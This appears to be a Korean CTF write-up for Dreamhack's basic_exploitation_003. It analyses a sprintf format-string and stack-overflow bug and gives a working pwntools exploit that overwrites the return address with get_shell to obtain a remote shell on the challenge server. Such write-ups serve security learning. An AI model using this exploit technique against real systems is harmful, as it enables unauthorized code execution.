728x90
  • basic_exploitation_003

 

: 위 문제에서 제공하는 문제 파일을 다운받은 후 아래와 같은 코드를 확인할 수 있다. 

 

 

: 위의 코드 중에서 main 부분을 분석하자면

 

 

char *heap_buf = (char *)malloc(0x80);
char stack_buf[0x90] = {};

 

: 동적 메모리 할당 함수인 malloc으로 0x80(128바이트 동적 할당 )만큼을 heap_buf에 할당하며, 0x80만큼을 heap_buf에 입력받는다. 

 

: stack_buf 에 0x90(144바이트 배열 할당)만큼 할당된다. 

 

sprintf(stack_buf, heap_buf);
 printf("ECHO : %s\n", stack_buf);

 

: heap_buf 내용을 stack_buf에 sprintf로 출력하며, stack_buf를 출력하고 코드가 종료된다.

 

 

 

→ 위의 코드를 분석하였을 때, sprintf에 fsb가 발생할 수 있다.  하지만, 동시에 snprintf 처럼 사이즈를 정한 것이 아니기 때문에 buffer overflow가 발생할 수 있다.

 

이를 통해, RET 까지 쓰래기 값을 채워 RET 에 get_shell() 함수 주소를 덮어 씌우면 된다.

 

stack_buf(144byte)
SFP(4byte)
RET(4byte)

: 스택 구조를 살펴보면 stack_buf가 ebp로부터 152바이트 떨어져 있다는 것을 알 수 있다. 

 

그러므로 4바이트를 더한 156 바이트 채워 RET 부분에 get_shell() 함수의 주소를 덮어 써준다. 

 

 

아래 pwntools를 이용하여 페이로드를 작성해준다. 

from pwn import*

p = remote("host1.dreamhack.games", 16088)

get_shell = 0x8048669

payload = b"%156c" + p32(get_shell)

p.sendline(payload)

p.interactive()

 

넣어 주게 되면 flag 값을 얻어 문제를 해결할 수 있다.

 

 

https://dreamhack.io/wargame/challenges/5/

 

basic_exploitation_003

Description 이 문제는 서버에서 작동하고 있는 서비스(basicexploitation003)의 바이너리와 소스 코드가 주어집니다. 프로그램의 취약점을 찾고 익스플로잇해 셸을 획득한 후, "flag" 파일을 읽으세요. "fla

dreamhack.io

 

'문제 풀이' 카테고리의 다른 글

[2022 CTF] 리버싱 - Day 13  (0) 2022.02.14
[HackCTF] Beginner_Heap 문제 풀이  (0) 2022.02.10
[Dreamhack] basic_exploitation_001, 002 문제 풀이  (0) 2022.01.29
[2022 CTF] 포너블 - Day2  (0) 2022.01.26
[2022 CTF] 포너블 - Day1  (0) 2022.01.25

+ Recent posts